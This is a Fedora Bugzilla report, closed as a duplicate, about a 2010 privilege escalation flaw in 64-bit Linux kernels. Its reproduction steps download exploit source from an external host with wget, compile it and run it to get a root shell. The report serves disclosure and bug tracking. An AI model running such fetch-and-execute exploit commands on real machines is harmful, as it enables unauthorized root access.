Bug 635675

Summary: Privilege escalation bug in 64-bit linux kernels
Product: [Fedora] Fedora Reporter: Zbigniew Fiedorowicz <fiedorow>
Component: kernelAssignee: Kernel Maintainer List <kernel-maint>
Status: CLOSED DUPLICATE QA Contact: Fedora Extras Quality Assurance <extras-qa>
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Version: 13CC: anton, aquini, dougsland, gansalmon, itamar, jonathan, kernel-maint, madhu.chinakonda, mike
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Description Zbigniew Fiedorowicz 2010-09-20 13:47:55 UTC 
Description of problem:
See
http://www.h-online.com/security/news/item/Hole-in-Linux-kernel-provides-root-rights-Update-1081317.html


Version-Release number of selected component (if applicable):
All recent 64-bit kernel releases

How reproducible:


Steps to Reproduce:
1. wget http://sota.gen.nz/compat2/robert_you_suck.c
2. gcc -o exploit robert_you_suck.c
3. ./exploit
  
Actual results:
You get a root shell

Expected results:
Should not get root shell

Additional info:
Comment 1 Michael Cronenworth 2010-09-20 14:19:05 UTC 

*** This bug has been marked as a duplicate of bug 635642 ***
Comment 2 Chuck Ebbert 2010-09-20 15:24:47 UTC 
Again, a report about a security bug that's already fixed:

https://admin.fedoraproject.org/updates/kernel-2.6.34.7-56.fc13

Does anyone look to see what kernels are in testing before reporting?